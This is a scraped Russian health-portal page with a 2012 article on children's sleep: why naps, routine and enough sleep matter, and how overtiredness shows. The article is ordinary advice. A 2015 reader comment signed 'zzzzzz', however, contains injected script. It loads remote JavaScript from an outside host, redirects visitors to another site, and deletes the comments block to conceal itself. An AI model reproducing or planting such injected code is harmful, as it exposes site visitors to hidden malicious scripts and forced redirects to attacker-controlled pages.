Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Здоровый сон ребенка  >>  Здоровый сон ребенка
 
Обратная связь
 

Здоровый сон ребенка

Размер шрифта
03 мая 2012 10:00
  • google_analytics: false
  • Нравится

Что особенно в том, что ребенок не поспал днем, а ночью лег чуть позже? На самом деле недосыпание и сбитый режим сна – серьезная проблема. Если сложить все часы недосыпания, то в совокупности получится огромная часть жизни.

Роль сна

Во время ночного или дневного сна, «батарейка» головного мозга подзаряжается. Поднятие тяжестей укрепляет мышцы. Точно так же сон улучшает работу мозга: улучшает концентрацию внимания, что позволяет при полном физическом спокойствии сохранить ясность мысли.

Основы здорового сна

  • достаточное количество часов для сна;
  • непрерывность сна;
  • дневной сон (потребность зависит от возраста)
  • режим сна должен подчиняться естественному биологическому ритму ребенка.

Почему так важно соблюдать режим сна ребенка?

  • У детей, которые спят дольше в течение дня, выше концентрация внимания.
  • Маленькие дети, которые мало спят в течение дня, более раздражительны, не общительны, не способны себя занять.
  • Дошколята, которые спят подолгу, лучше входят в коллектив, более активны и живо интересуются происходящим. Недосыпающие дети как правило гиперактивны.
  • Небольшой, но постоянный дефицит сна накапливается и оказывает отрицательное воздействие на работу мозга.
  • Дети с высоким IQ, как оказывается, спят больше других.
  • Ребенок с синдромом дефицита внимания и гиперактивностью, после наладившегося сна всегда лучше общается со сверстниками.
  • Здоровый сон – отличная профилактика болезней нервной системы, нарушений обучения, проблем поведения.

Оптимальная активность. При оптимальной активности человек способен воспринимать события и взаимодействовать с окружающей средой на пике внимания. Только так человек способен воспринимать что-то новое. Выспавшийся ребенок всегда будет с интересом учиться. Он будет спокоен, внимателен, общителен, все вокруг ему будет интересно.

Качество сна. Во время сна ребенок должен проходить все необходимые стадии сна. Хороший сон играет ключевую роль в развитии нервной системы.

Дневной сон. Дневной сон в разное время дня отвечает за разные функции и должен быть согласован с индивидуальным биологическим ритмом ребенка, то есть, если ребенок хочет спать, его необходимо уложить и не будить до тех пор, пока сам он не проснется. Такая смена активности – часть нашего естественного суточного биологического ритма.

Последствия нарушений сна

Усталость. Для ребенка очень утомительно не спать в течение долгого времени, даже если он ничем особенным не занимается. Если малыш хочет побыть с семьей или друзьями, он будет стараться побороть усталость. В таких условиях будет вырабатываться в больших количествах гормон адреналин, приводящий к гиперактивности. В результате – ребенок активный, раздражительный, суетливый, но уставший. В такой ситуации вам будет тяжело его успокоить и уложить спать. Такая усталость приведет к бессоннице.

Что делать?

  • Не думайте, что если ребенок активен, не стоит его класть спать. Наоборот, если уложите его пораньше, он лучше и легче заснет.
  • Хорошо отдохнувший и выспавшийся ребенок легче укладывается спать. Соблюдайте режим его дня несмотря ни на что.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:43

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Страшные сны у ребенка – признак того, что его обижают в школе! Что делать?   Флешмоб «Я в шаре» от «Подсолнуха»   Что можно узнать о жизни ребенка в социальных сетях   Московский музей «Живые системы» приглашает всех  
03 октября 2013Результаты благотворительного марафона «Всем миром» 17 июля 2013Будет ли ваш ребенок толстым – теперь это можно понять уже в 2 месяца!
 
10 июля 2013От того, что ест беременная женщина, зависит ум ее ребенка 08 июля 2013Теперь можно выбрать, какой ребенок у вас будет! ЭКО открывает новые горизонты
 

Слайдшоу

1
Как сдать тест на беременность? Можно ли пережить беременность без рвоты?
Убийцы в вашей ванной Можно ли подгадать с беременностью?
Все самые странные факты о грудном молоке Как правильно кормить грудью
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.